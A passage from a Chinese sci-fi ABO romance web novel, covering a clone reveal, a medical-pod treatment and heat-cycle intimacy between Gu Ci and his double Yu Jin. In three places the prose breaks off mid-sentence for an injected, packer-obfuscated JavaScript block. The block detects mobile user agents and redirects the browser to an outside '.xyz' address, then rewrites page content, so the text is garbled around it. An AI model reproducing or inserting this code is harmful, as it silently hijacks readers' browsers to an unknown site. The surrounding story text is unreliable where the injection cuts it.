“疼吗?”顾瓷微颤的睫羽敛下破碎而残忍的笑意,他知道来自Alpha疯狂而彻底的强制标记,只会带来极致且侵骨的疼痛。 就算承受方是契合度极高的Omega,也不一定受得住,更何况余烬本是一个无法承受标记的强大Alpha,这种生理上的疼痛足够让人铭心刻骨。 他就是要余烬记住疼,不过余烬连身体被无数虫族镰刺捅穿、被空间黑洞撕裂吞噬的疼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“所以啊,别死去,别消失。”顾瓷眼中盈着氲氤的水雾,他褪去了他冰冷的壳子,露出柔软脆弱的内里,“你出现的太突然而不可思议了,我在害怕,怕你的离去也会突兀且不可违逆。” 顾瓷半趴在余烬身上喘息着,他面色艷丽潮红,眼中却未染欲色,只是有着恍然若失的脆弱和不安。 余烬终于明白顾瓷先前为什么一直在哭了,他不知什么时候挣开了链子,轻柔又强势地回抱顾瓷。 余烬目光中炽热的爱意和虔诚交叠,他认真地说:“我从数据和虚拟中诞生,只要信仰和执念永不消散,我便永远不会死去。” “我会永远追随你、守护你。”余烬宣誓地安抚顾瓷,“我们血肉和灵魂交融过,现在就算你厌弃驱逐我,我也绝不会离开你。” “你纵容了我僭越的念想……我的神明,我想向你祈愿,我可以做个贪得无厌的坏孩子吗?”余烬呼吸灼热,将顾瓷完完全全禁锢在了怀里。 “贪得无厌?”顾瓷想挣扎开余烬怀抱的钳制,但无力地反抗很快被镇压,他抬眼看向眸色幽深的余烬,语气竭力维持着平静,“你想做什么?” 余烬突然翻转顾瓷的身位,他将顾瓷覆在身下,捏住顾瓷纤细的腰肢。 余烬贴在顾瓷的耳边厮磨,他学着顾瓷刚才的语气,冷淡而危险地说:“做你。” 顾瓷没有斥责,陷在余烬炽热爱意里的他缓了缓神,他紧紧地盯着余烬看了许久,像是在确定自己是否陷在了一场复制自我镜像的无妄长梦中。 他畏惧清醒后再次坠入冰冷残酷的现实里,所以甘愿放纵沉沦于此刻。 余烬看到了顾瓷眼中的难过,他轻轻擦掉顾瓷眼角的眼泪,敛了所有危险失控的情绪,神情乖顺得像是叼着自己项圈链子递给顾瓷的大狗。 余烬伸出手与顾瓷的十指紧紧相扣,再次安抚道:“我就在这里,我不会消失的。” 被余烬露出的驯良顺服的姿态取悦,顾瓷心中一片柔软,眼中的湿意更重。 余烬伸手捂住顾瓷那双让他心颤的湿漉漉的眼睛,他声音低哑而暧昧地请示:“……余烬想要弄碎顾瓷,可以吗?” 顾瓷唇角无奈地扬起,他勾住余烬的脖子,露出那副纵容的予取予求的姿态:“都已经学会言语顶撞我了,你还有什么不敢不可以的啊。” 顾瓷气息紊乱的低哑声音像是挑逗的羽毛撩拨在了余烬的心弦上,得到顾瓷默许的回应,余烬最后一丝清明的理智轰然崩塌。 余烬低头覆上顾瓷的唇,目光虔敬神色温柔地与顾瓷缠绵。 10. 复刻品 十三天后,联邦军事基地。 顾雾航看着光脑屏幕上标红的截停申请流程,面色难看地说:“特殊治疗仪的申请军方已经审批通过,但陆家插手强行卡住了。” 余烬神色冰冷地问:“他们用什么理由截住的?” 顾雾航压抑着怒气:“你重回军部报道时不是做过全身检查吗?陆家质疑你身上的伤势没有到需要使用治疗仪的程度。” 特殊治疗仪是极珍稀的军用资源,启动的暗源来自一种极难得到的星矿石,军队里不少军功足够的人也不一定能够兑换到使用权限。 但“顾瓷”在北境战役中有杰出贡献,便批下来了。 “那就告诉军方,被我拉入空间黑洞的虫后没有死,而且随时可能再次出现。”余烬把自己的价值当筹码,“没有治疗仪治好我上次身体落下的暗伤,我不会回战场。” 顾雾航看向余烬,皱着眉:“这么重要的军事情报你怎么现在才说!” “虫后伤得很重,半死不活的,他大概率会滚回茧巢里长眠,短时间内都造不成什么威胁。”余烬语气冷淡而随意。 顾雾航松了口气,他顿了顿有些迟疑地开口:“帝国那边也有这种特殊治疗仪,帝国有意招揽你我,要是陆家再动手脚,为了小瓷的腿我都快起转投帝国的心思了。” 在顾雾航提到“帝国”两个字时,余烬就瞬间用精神力笼罩了这个房间,他抿了抿唇提醒地说:“这军事基地里人多眼杂,你站在高位,小心有人监听、玩些下流手段。” 顾雾航脸色微凝地点了点头,他将余烬说的“虫后未死”的情报汇报了上去,军方上层很快有函件发了过来。 军方极为重视余烬能够抵御虫后强大精神力的特殊价值,越过陆家直接将治疗仪的申用权限下放下来。 一天后,顾雾航和余烬带着顾瓷遮掩踪迹进了军方独立医院,余烬一直隐匿着身形跟在旁边,医院里负责特殊治疗仪的医生刚好是凡巩的亲弟弟,算是自己人。 就在顾雾航以为一切顺利留下顾瓷一个人在医疗室时,陆煜突然出现在了这里。 陆煜一脸找麻烦地样子,强推开医疗室的门,他目光错愕地扫过坐在轮椅上的顾瓷,顿了顿,言语带刺地说:“顾大指挥官前两天不还好好的吗,怎么现在又这么一副双腿断了似的废物模样。” “陆少,这里不是你能胡闹的地方。”站在顾瓷对面正调试治疗仪各项数据的凡硕皱了皱眉,一脸严肃地说。 “陆煜,你给老子滚出去。”顾雾航也冲了进来,他制住陆煜想把他拎出去。 “没事,让陆煜留下,哥,麻烦你先关一下门。”顾瓷抬眼神色冷淡地看了过来。 顾瓷的手掌握了握,突然轻笑起来:“陆煜,好久不见。” 陆煜愣了愣,他和顾瓷不是前几天才在军事基地碰过面吗? 陆煜看着眼前的顾瓷,心中那点奇异的悸动再一次涌现出来,他像是看到了大半年前的顾瓷的影子。 那股子熟悉的让人着迷的清冷劲儿,和这大半年里见到的那个一身肃杀气的顾瓷,像是两个人一样。 “你……这半年出现在战场的顾瓷根本不是你对不对!”想到什么的陆煜反应过来,他声色激动地质问。 一旁听到这话的凡硕也愣了一下,正心想这陆大少爷说什么疯话呢,就看见顾瓷身后突然出现了另一个神色冷峻的“顾瓷”,他一瞬间惊在了原地。 愤怒的目光在两个顾瓷身上流转,感觉自己被耍了的陆煜咬着牙说:“二次分化后身体和精神力度都变强这种荒谬的理由居然让所有人都信了。” 陆煜本来就觉得身上没什么大伤的“顾瓷”非要用大量军功兑换特级治疗仪的使用权限极为奇怪,他今天来就是想看看顾家诡异的行径下掩着什么小动作。 没想到那个在军事基地当着所有人面把他揍趴下的“顾瓷”根本不是顾瓷! 顾雾航不太明白顾瓷为什么选择在陆煜面前暴露,但他没有插话,退在一旁默默看着。 但陆煜不知名的怒火突然烧到了顾雾航身上,他盯着顾雾航说:“他和顾瓷的基因数据都一样,连军方的身份核查都瞒了过去……为了不让顾瓷做改造成Omega的手术,你们居然弄个复制品出来冒充顾瓷。” “复制人在联邦的存在是违法的!”像是抓到了什么把柄,陆煜言语激动地威胁。 凡硕看着这一幕也是心脏一跳,复制人在联邦和帝国都是绝对的违禁技术,被核查出来的后果极为严重,他哥也没跟他通过气说“顾瓷”是两个人啊。 被陆煜追着一通质问的顾瓷看向陆煜的眼神像在看一个卖力表演的小丑,他语气平静地说:“陆煜,复制人的身体机能会比原主差很多,从理论上讲,我才更像是顾瓷的复制品不是么?” 陆煜被顾瓷的话噎了一下,他一时间无法想通其中无法解释的地方,只是堵着一口气坚决地说:“那、那你这种弱小的Alpha也必需要做改造成Omega的手术!” 顾雾航提起改造手术这件事情就想弄死陆煜,他拎着陆煜的领子抡在墙上,顺着顾瓷的话说:“陆煜,小瓷是顾瓷的复制品,本来身体就极差,你还要他做改造成Omega这种残忍的手术,你是真的想要他死吗?!” “哥,松手。”顾瓷淡定地说,“陆家参与了许多律法的编定,陆大公子应该不会不知道,复制人不享有联邦公民的身份,也不需要履行联邦律法。” 被松开的陆煜面色涨红,他盯着轮椅上的顾瓷,心绪平静下来了些才继续质问:“你的意思是,你这个和我们从小生活在一起十多年的‘顾瓷’是复制人,这个出现不过半年和你长得一模一样的人才是真正的顾瓷?我看着像很好诓的样子?!” 顾瓷挑眉看他:“陆煜,你猜人体克隆为什么是违禁技术?复制人具有独立人格身体机能却有极大缺残,允许并承认复制人的存在会对社会造成很大的负担。” 要是身体病弱者的基因复刻品身体机能各方面都是完美的,那些上层人单是出于私欲都会允许复刻人存在,毕竟他们连弱小Alpha改造成Omega这种湮没人性的法案都可以通过。 没有缺陷的复制人代表着无限可再生的储备身体,代表更强大的军力。 顾瓷将余烬扯到身前给陆煜打量:“你认为他不是顾瓷,是你觉得他有什么身体机能残缺的地方吗?嗯?” 陆煜无话可说,他被这个浑身散发着恐怖气息的‘顾瓷’揍趴下过,他见识过他身躯和精神力的完美程度。 顾瓷顿了顿,似笑非笑:“我是顾蔚钟上将二十一年前创造的复制人,我的存在时间想必你们都可以证明。律法的有效追责年限已经过了,追责人也已经去世。陆煜,你觉得能用这件事拿捏顾家?” 陆煜的情绪突然平复下来,他看着顾瓷的腿目光中闪过恶劣的戏谑:“复制人确实不必履行联邦律法,但是特殊治疗仪如此珍贵的医疗资源你也没权利亨用吧。” 这件事情被点破,一旁的凡硕也露出为难的神色:“申请上批的是给顾指挥官用,如果不是本人的话……” 顾雾航的脸色一变,想要说什么却被顾瓷制止。 顾瓷神色如常地看着陆煜,很久之后才开口:“陆煜,如果世界上只有一个顾瓷,而我真的死在了遗迹废墟里,察觉到自己不堪的感情的你,会痛苦愧疚吗?还是说……会做个永远不敢直面内心的胆小鬼?” “谁说我喜欢你?一个复制人是有多缺爱才会臆想别人都喜欢你。”陆煜压下眼中的情绪,语气嘲讽,“就算你死在遗迹之战也是因为你废物,跟我有什么关系。” 看到陆煜神色变化的顾瓷轻笑一声,语气带着难掩的厌恶和冰冷:“你不敢承认自己的爱意,所以想要毁掉那个让你心绪不知所措的人——你的喜欢可真是,晦气。” 余烬蹲下身轻轻抱住顾瓷,察觉到余烬安抚的顾瓷目光柔软了下来,顾瓷看着余烬轻声说:“没事。” 见顾瓷前后的语气截然不同,陆煜的神经被刺激到了一瞬,他挑了挑眉语气尖锐:“瞧瞧,他看你这个复刻品的眼神都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15888625|176470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快拉丝儿了,你顾瓷的基因怕是有先天缺陷吧,一个总臆想着别人都喜欢自己,一个居然喜欢着自己的复刻品。” 顾瓷看了一眼在炸毛边缘的陆煜,神色平静地挑起余烬的脸低头亲了上去。 陆煜只觉得这一幕异常刺眼,面色僵硬地说:“真不要脸。” “陆煜,其实你曾经有机会的。”结束亲吻顾瓷揉了揉面色微红的余烬的头发,看都没看陆煜的反应,“我曾经把你当做可以交付后背并肩作战的搭档,对你有着仅次于对哥哥的信任。那个时候如果你向我表露心意,并且给予我足够的尊重,我想我应该不会拒绝你。” 轻抱住顾瓷的余烬手上的力道突然收紧,他仰头看着顾瓷,深邃的眼中情绪翻涌,像是打翻的醋坛子般委屈:“你真的喜欢过他?你之前还说过……委身给陆煜也可以。” 陆煜原本失控的情绪在这一瞬间被缰绳拽住,他心中生出难以言喻的酸涩的复杂情绪,陆煜愣愣地看着顾瓷,不知所措。 听到余烬的话,顾瓷也微顿,他目光垂落眼中只盛着余烬的倒影:“我从来没有喜欢过陆煜,我只喜欢你。” 他只是想故意刺激陆煜,倒是忘了顾及余烬的情绪。 陆煜被这话扎得心口一疼,憋了半天后吞吞吐吐地说:“如果,你真的愿意嫁给我……这特殊治疗仪你也不是不能用。” 下一瞬,陆煜被一股强大精神力重重地掀在了墙上,墙面震动一瞬,甚至出现了黑色的裂痕。 余烬站起身,目光冷冷地扫过被嵌在墙体里挣扎不得的陆煜:“他说了不喜欢你,听不懂人话吗?” 顾瓷安抚地牵住余烬的手,面上露出好看到让人恍神的笑容,语气嘲弄:“陆煜,做这副模样的贱皮狗还不如做一辈子的胆小鬼呢。” 顾雾航看到被掀飞的陆煜脸色一阵青一阵白,笑了笑,只觉得解气,顾瓷应该是有意想找陆煜算账了。 这里有余烬在,顾瓷不会有什么事,压着心绪的顾雾航一个人走出医疗室,拐进厕所抽起烟。 今天的事陆煜一定会说出去,顾瓷说自己是复制人虽然能避开改造手术,但同时也无法再使用治疗仪……那顾瓷的腿伤该怎么办。 顾雾航心绪颇有些烦躁地踢上门,他倚着洗盥台仰头看着天花板出神,白色的烟圈从他嘴中吞出来,神色迷朦颓废。 厕所的门突然被推开,走进来的宁昭延目光直直地落在顾雾航身上,看到顾雾航侧过头来看他,宁昭延语气轻佻地开口:“顾少将怎么一个人在这里抽烟?” “你怎么也在这儿?”顾雾航轻吐出一口烟,收回目光。 陆家和宁家俩不让人省心的小子都找过来了,看陆煜那个狗样子,和他一个德行的宁昭延十有八九也喜欢他家小瓷。 “这座军方独立医院也属于宁家管控的军事资源,接到陆煜跟来闹事的消息我就过来了。”宁昭延掩了掩眼中的情绪,“顾少将留下陆煜一个人和顾瓷待在医疗室不会不安全吗?” 顾雾航倒是笑了起来:“不安全的怕是陆煜,他今天出不了这个医院了,少说要躺个十天半个月。” 白色的烟雾从顾雾航俊朗痞气的脸上萦绕漂浮着散去,混着卫生间里微暗的暖调灯光徒增了几分让人悸动的难言氛围。 宁昭延的眼神明了又暗,他盯着浑然不觉自己散发着成熟诱人魅力的顾雾航,半天后才半玩笑地吐出一句:“顾少将,我有时候真的在想,干脆让你顾家绝后算了。” 有那么一瞬间,顾雾航感觉自己像是被什么了阴暗露骨的视线盯上了,他警戒地扫过四周,最后落在眼神清洌语气轻佻的宁昭延身上,皱了皱眉说:“你这话什么意思?” “没什么。”宁昭延笑了笑,低头看到终端通信器上刚刚收到的讯息,他笑容微凝,顿了顿说,“和我们一起长大的那个顾瓷,是复制人?” 顾雾航看宁昭延这副受了刺激的反应,心中觉得宁昭延觊觎自家弟弟的想法更加确定,他将宁昭延从头到脚打量了一遍:“消息收到的这么快,宁家挺可以啊。” 11. 易感期 医疗室里,被再次摔得四肢断裂的陆煜面色扭曲,脖子上因为怒气浮起狰狞的青筋,咬牙切齿:“顾瓷……” 顾瓷拉住了余烬,再打下去陆煜怕是得死在这里。 不管陆煜人如何,他们之间有什么仇怨,顾瓷也认为陆煜应该死在虫族的战场上,而不是这里。 顾瓷转头看了一眼缩在角落不敢吱声的凡硕,声音安抚着说:“凡医生,你送陆煜去急救室吧。” 凡硕看着地上动弹不得的陆煜,在得到顾瓷默许后叫来护工将陆煜架走。 这军方独立医院的护工大多都认识顾瓷这位声名在外的星际指挥官,同时看到长得一模一样的顾瓷和余烬时,表情都分外讶异。 余烬皱了皱眉,想带顾瓷藏起来。 但余烬却感觉到顾瓷此刻心情格外愉悦,那只拉着他胳膊的手紧紧握住了他的手掌,然后,十指相扣。 余烬低头看向顾瓷,对上顾瓷的那双亮起惊人光彩的眼睛,他怔了怔。 “不用躲,我想要他们都看见。”顾瓷笑着说。 凡硕意识到顾瓷身份敏感,他迅速带着所有人都出去,医疗室里便只剩下余烬和顾瓷两个人。 “我不想你永远只做‘顾瓷’的替代,不想我们永远只有一个人能出现在人前。”顾瓷勾了勾余烬的脖子,余烬便顺从地弯下腰。 顾瓷捧着余烬的脸说,“我之前不在意这点,但我现在想要光明正大地和你在所有人面前拥抱、亲吻、相爱。” 余烬目光动容,他抱住顾瓷:“我不在乎别人知不知道我是谁,即使所有人都认为我是顾瓷,我也不会忘记自己叫余烬,我是顾瓷的余烬。” 余烬顿了顿,大着胆子说出了他很想说的话:“其实比起光明正大在人前拥吻,我更想把你藏起来,让你永远只属于我一个人。” 顾瓷笑了笑,捏住余烬的下巴对上那双时刻想将他拆吞入腹的眼睛,语气危险:“余烬小朋友的思想很有问题啊,嗯?这么变态?而且自从你吃到我之后,好像就再也没有用过敬称了啊……” 那张往日里清冷高不可攀的脸上露出被爱意融化的纵容神色,像裹挟着蜜糖般。 余烬几乎瞬间就把控不住地吻了上来,舔舐品尝着这颗让人沉醉着魔的酒心蜜糖。 但顾瓷只让余烬浅尝了一下便强行推开了这只越发放肆不知餍足的狼犬,顾瓷捂住了余烬的嘴,喘着粗气说:“别闹。” 余烬目光委屈而克制地顿在那里。 顾瓷错开目光,看向他们那双十指相扣一直没有放开的手:“我还不知道你吗,就算想着把我藏起来,最后也还是会为了让我出去乖乖的被我藏起来。” 余烬还是有些疑惑:“可是,为什么不先瞒着身份等你腿伤治好后再说呢?” 顾瓷目光微微闪烁,低垂的脸上看不清神色:“陆煜有备而来,他肯定能发现你我的不同,瞒不住的。” 不得不承认,陆煜绝对是这个世界上除了顾航和余烬以外最熟悉他的人。 顾瓷摸了摸余烬的头,像是在顺捋大型犬的毛发:“联邦不会舍得放弃你这个人形杀器的,只要我们透露一点为了医疗资源投诚帝国的苗头,到时这治疗仪联邦自然会破例让我这个‘复制人’用。” “我们不用偷偷摸摸,要光明正大。”顾瓷神色淡然地说。 他不要成为顾家和余烬的软肋,他要在所有的事情中占据主导位置。 顾瓷正想和余烬说离开这里,医疗室的门突然被推开,顾雾航和宁昭延走了进来,凡硕拿着一沓病历资料跟在他们身后。 “陆少已经安顿好了,顾指挥官可以安心准备治疗了。”凡硕看向顾瓷说。 顾瓷有些诧异,他目光扫过突然出现在这里的宁昭延:“顾瓷有复制人的事情应该已经传到你们军方那边了,今天治疗仪的使用你们宁家不出手中止吗?” 顾雾航只安抚地说:“没事的,小瓷你尽管安心治疗就好。” “顾瓷……小瓷……”宁昭延目光在余烬和顾瓷两人之间流转,语气还是一如往常的轻佻,“没想到顾少将对一个复制体倒是比对亲弟弟还亲。” 宁昭延理当来者不善,但顾瓷竟然没从宁昭延身上感觉到什么敌意。顾瓷皱了皱眉,他嗅到了顾雾航身上的烟味,顾雾航只有特别焦躁时才会抽烟。 顾瓷心中一沉,顾雾航应该是在为他的腿伤忧虑才抽的烟,顾雾航显然是为了他什么都能答应的下来的人,而这里是宁家的主场…… 顾瓷盯着宁昭延,语气冰冷:“我哥答应了你什么?” 宁昭延笑了笑,当着顾瓷的面对顾雾航动手动脚起来,顾雾航只皱了皱眉,竟没有推开宁昭延。 宁昭延笑得又痞又贱:“没什么,你哥只是答应了让我做你嫂子。” “都是自家人了,这治疗仪的使用权限我们宁家可以特批。”看到顾瓷沉下来的脸色,宁昭延松开顾雾航,退开半步说。 这顾家俩兄弟不知道为什么都围着轮椅上这个病弱的复制体转,他怕这位一个不高兴让旁边那个‘顾瓷’把他抡出去,陆煜的下场他已经看到了,宁昭延还是有些忌惮的。 “哥。”顾瓷把神色冷峻的余烬推到面前指给顾雾航看,想让他清醒一些,“以顾瓷的价值,根本不需要我们求人什么,只有别人来求顾瓷的份……就因为一个治疗仪,你就把自己卖出去了?” 顾瓷知道宁昭延喜欢他哥这样强大耀眼的英雄,一身的荣誉和奖勋,成熟痞气又举手投足间都让人信服安心。 但顾瓷一直都以为宁昭延对顾雾航的感情仅仅是钦慕,没想到他还藏了这样的心思。 顾瓷终于明白顾雾航当初看到他和余烬厮混时是什么心情了,他只觉得自己此刻的心情比刚才见到陆煜还复杂。 顾瓷咬着牙说:“而且你们两个Alpha能有什么结果,宁家会同意?” 宁昭延赶紧给凡硕使了个眼色,然后大着胆子越过余烬把顾瓷往治疗仪那边推:“这些你就不用管了,你先安心做治疗。” 余烬迟疑了一下,没有拦着,反倒帮忙把来不及抗拒的顾瓷抱进了装着绿色营养液的医疗舱。 半透明的舱门合上,凡硕一脸正色地在主控台调试数据,设定好程序后按下启动键,舱体中的营养液逐渐变多,浸没包裹了顾瓷的身体,顾瓷的手无力地撑着闭合的舱门,神情像是极为难受。 顾雾航和余烬都目光紧张地盯着医疗舱。 “没事的,被营养液包裹会有短暂的窒息感,但营养液中是带有氧气的。暗源形成的激光照射身体会产生疼痛,营养液会让他的身体机能跟上身体治疗重塑的消耗。”凡硕在一旁解释。 宁昭延拍了拍顾雾航的肩膀:“只是治个腿伤,半个小时就好,应该还能顺便让小瓷的身体机能变得再好一些。” “小瓷小时候溺过泥潭,他应该很害怕这种窒息感,可能会比其他人难受得多。”顾雾航语气担忧。 余烬神色变了变,他走到半透明的舱体前,隔着玻璃伸手覆上了顾瓷撑在舱门上的那只手。 顾瓷侧过头和余烬对视,他张了张口,嘴里便咕噜噜地冒出气泡,强烈的不适感让顾瓷眉头紧蹙。 治疗舱内淡蓝色的激光亮起,大部分照射在了顾瓷腿上,顾瓷一瞬间身体紧绷,脖子高高仰起,疼痛让他想要大口大口喘气,却只有含着高氧的液体塞涌进口鼻里。 “顾家的样貌基因真好。”宁昭廷看着顾瓷那张清冷艷丽的脸上露出令人动容的痛苦神色,像是脆弱的等着人呵护的瓷人儿,让人心头一颤。 宁昭延赶紧晃了晃脑袋,收起心里那点儿不正常的悸动,他目光又不自觉地落在薄唇紧抿神色担忧的顾雾航身上,要是顾少将露出顾瓷那种神色……卧槽,他到底在想些什么? 宁昭延感觉鼻尖涌出一股热意,他抬手摸了摸,血迹沾了满手,宁昭延慌乱地捂着鼻子逃也似的跑去卫生间。 顾雾航和余烬的注意力都在顾瓷身上,只有凡硕愣了愣,寻思着待会儿要不要给宁少拿些败火的药剂,这几日天气也没多干燥啊,怎么好端端的上火了。 凡硕目光落回到医疗舱中,顾瓷的神色越发痛苦不安,看得凡硕不由得的心疼,他迟疑着询问道:“需要将治疗激光的辐射程度降低一些吗?可以减轻一些疼痛,但那样的话治疗的时长会增加。” 舱体中的顾瓷抵在半透明舱门上的手掌蜷缩成拳,纤白的指节打着颤儿,他那颗不争气的脆弱心脏在这样的不安痛苦中痉挛似的抽痛,顾瓷浑身都在发抖。 余烬神色心疼地说:“不用,可以的话辐射程度调高一些,尽量缩短治疗时长。” 凡硕看了一眼面无表情的余烬,没办法地将程序调成了双倍辐射,他在心里吐槽余烬明明看着挺担心顾瓷的,怎么又能一点都不在乎顾瓷受的疼。 浅蓝色的激光逐渐变成深蓝,顾瓷疼得闭上了眼睛,他感觉自己几乎快要晕厥过去,一股熟悉的精神力小心翼翼地包裹了他,安抚着他紧绷的神经,也卸去了他陷在窒息感中的恐惧不安。 顾瓷缓缓睁开了眼睛,他看着舱体外的紧紧盯着他的余烬,无声地轻笑着,冲着余烬吐起泡泡。 加快治疗时长后只需要一刻钟,有了余烬的精神安抚,顾瓷熬得倒不是很难受,他们就这样一直隔着半透明的玻璃对视着。 余烬的眼中,只有顾瓷。 打开医疗舱舱门被余烬抱起的那一刻,顾瓷觉得自己像获得了新生一样,而宁昭延也刚好从外面回来,还给顾瓷带了套干净的衣服。 “这么快?”宁昭延把衣物递给余烬,疑惑地问了句。 余烬将怀中的顾瓷抱紧了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15888626|176470||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些,目光冷冷地扫过其他三个人,看着他们都出去后才将顾瓷放下来,服侍顾瓷换好衣服。 顾瓷面色苍白地倚着余烬站在地上,他呼吸还有些紊乱,双腿已经恢复了知觉,时隔一年后重新站立的感觉熟悉又陌生。 顾瓷闭了闭眼睛,稍微适应了一下,然后在余烬的搀扶下向门外走去,他轻声说:“回家了。” “嗯,回家了。”余烬和等在门口的顾雾航应道。 …… 因为余烬在虫族战场上的特殊重要性,加上有联姻关系的宁家相助,联邦没有深查顾家复制人一事,余烬和顾雾航甚至堂而皇之地带着顾瓷出入军事基地。 近日虫族都没有什么异动,北境的军队只剩下很轻的扫尾工作,军方便对顾瓷以家眷身份留在军事基地的事睁一只眼闭一只眼了。 回到熟悉的指挥官休息室,顾瓷慢条斯理地吃着以前常吃的标准营养餐,任由旁边来找余烬汇报工作的殷四瞪大眼睛看他。 “顾顾、顾队长。”殷四目光在同样绷着脸的顾瓷与余烬两人之间流转,最后结巴地冲着顾瓷喊道。 神色故作冷峻的顾瓷手中切割食物的刀叉微顿,他唇角微不可及地勾了勾,平静地说:“旁边这位才是你的顾队。” 殷四挠了挠头,他神色中还带着没有褪去的青涩:“我知道这位才是现在的顾队,但我能认得出来,我刚出军校后跟了一年的那个队长是你。” 余烬面无表情地听着殷四说着,他将顾瓷餐盘中的食物切割成小块喂到顾瓷嘴边。 殷四是余烬在游戏世界的遗迹之战中最后掩护他而战死的那个年轻辅攻手的原型,余烬来到军事基地后第一眼就认出来了,还将他提拔成了第一舰队的主攻手。 现实里的殷四对顾瓷也很崇拜和忠诚,甚至于能一眼认出余烬和顾瓷的不同。 顾瓷轻轻咬上余烬喂到嘴边的肉,挑起余烬的脸看了又看:“明明就一模一样啊,殷四你是怎么认出来的。” 顾瓷打了个哈欠,突然有一股不可控的燥动和倦意涌上来,他皱了皱眉,语气淡漠随意地说:“你们聊正事吧,不用管我,我想睡会儿。” 指挥官的休息室办公区和睡眠区是分开来的,顾瓷起身往里屋走,却感觉身体难耐地疲乏。 余烬脸色一变,上前一把抱住顾瓷,对殷四说:“你先出去,跟顾少将打声招呼,不要许任何人靠近这里。” 顾瓷面色潮红,他扒着余烬,冬雪味的信息素涌满了整个房间。 嗅到信息素味道的殷四瞬间明白了情况,他仓惶地退了出去,顾队到易感期了,易感期的Alpha的信息素也会诱导其他Alpha进入易感期,刚关上门的殷四面色薄红,一股燥热瞬间就涌了上来。 余烬用实质化的精神力直接封闭了整个休息室,隔绝了这里的气息。 余烬也受到了顾瓷易感期信息素的影响,他抱着在他怀中不舒服地扭动着的顾瓷,呼吸微重。 强行压下不理智的情绪,余烬去翻找房间里预备这种突发情况的抑制剂。 找到抑制剂的余烬先给自己来了一针,稍稍冷静下来后,余烬准备给顾瓷注射,但他的手却突然被顾瓷摁住了。 顾瓷勾住余烬的脖子挂在他身上,微微喘息着,声音压抑低哑地说:“余烬,我有你了……还要什么抑制剂啊。” 灼热的鼻息呼在余烬的颈脖间,余烬手一抖,抑制剂险些从手中滑落,但他犹豫了一下,还是将这针抑制剂注射进了顾瓷身体。 但顾瓷似乎体质特殊,抑制剂的效果对他微乎其微,他还是敛不住自己的四溢的信息素。 看着余烬手中那只空了的抑制剂针管,顾瓷松开了扒着余烬的手,神色冷淡地说:“不想帮我,那你出去吧。” 顾瓷也不往里屋走了,随便往旁边的沙发上一躺,他急于宣泄和安抚的身子难受地蜷缩着,生着闷气的顾瓷连一个眼神都没再分给余烬。 余烬在沙发旁半跪下来,他摸了摸顾瓷滚烫的额头,但手很快被顾瓷一巴掌拍开。 余烬语气有些委屈:“我不是Omega,易感期我没办法替你疏导,我的信息素也没办法安抚你,要不我去给你找一个……” 余烬说不下去了,他看着顾瓷难受的模样又心疼又心急,但他实在没有办法将他的神明他的爱人分享给一个陌生的Omega,他甚至不想让任何人看到顾瓷这个模样。 这种特殊时期他就应该把顾瓷带回他的私有领地藏起来,然后好好陪伴满足伴侣的需求,余烬笼罩在房间里的精神力蓦然加重,凝实得几乎快化为黑色阴影。 但此刻的顾瓷没能发现身周的异常,他冷哼一声,像是被余烬这句话激怒了。 顾瓷翻身拽起余烬抵在沙发上,神色冰冷地说:“那么多话做什么,你受着就行了。” 12. 于星海中拥吻 余烬好不容易被压下去的难耐和燥热又涌了上来——他的易感期也被诱发了,刚才那针抑制剂的效果微乎其微。 余烬眸色幽暗,他只觉得顾瓷这副危险而冷淡的勾人样子,让人好想狠狠压住他亲吻、占有、疼爱。 情绪开始失控的余烬也确实抱住顾瓷吻了上去,冰寒的信息素如同疯狂汹涌的爱意侵满了整个房间,带着极端强烈的侵略性。 顾瓷眼中很快浮起欲色,也放纵自己全然的释放开信息素,但空气中交织的相同气息的信息素却没有展开预想中的博弈。 被余烬全面压制的顾瓷眯了眯眼睛,他抚摸上余烬后颈处咬痕未褪的腺体,而后堵住了余烬信息素的释放。 余烬当然有能力冲破顾瓷的压制,但他却像浑身被按了暂停键一样,双眼猩红又委屈不解地望着顾瓷。 对上顾瓷的目光,余烬略微清醒了些,他克制住自己心底的欲望,声音低哑地说:“顾瓷……我想去做Omega的改造手术,这样你的易感期我就能安抚你了。” 准备咬上余烬后颈腺体的顾瓷一顿,他睫羽微敛,语气冰冷地说:“你变成Omega,我就不要你了。” 察觉到余烬身子微僵,顾瓷原本堵压在余烬腺体上的手扣住了余烬整个后颈,扼住命脉的手微微收紧,顾瓷的语气还带着薄怒:“你现在也进入易感期了,告诉我,你需要我替你找一个Omega疏解吗?” 意识到顾瓷在气什么的余烬低声说:“没有任何一个Omega能安抚我,只有你,我只想要你。” 顾瓷松开手,他盯着余烬那双爱意露骨的眼睛,认真地告诉余烬:“我和你是一样的答案。” 那一刻,余烬眼中的暗色愈重,困缚其中的恶兽被顾瓷亲手释放。 精神力凝实的暗影笼照了下来,余烬将顾瓷拉入了他的精神领域,想要私藏、独占他的珍宝。 世界被全然的黑暗笼罩,剥夺了色彩和光线,察觉到变故的顾瓷身子紧绷着,试探地喊了声:“余烬?” 身下的余烬翻身紧紧拥抱住了顾瓷,他安抚地说:“别怕,是我的精神领域,我消失的那些时候就是待在这里的。” 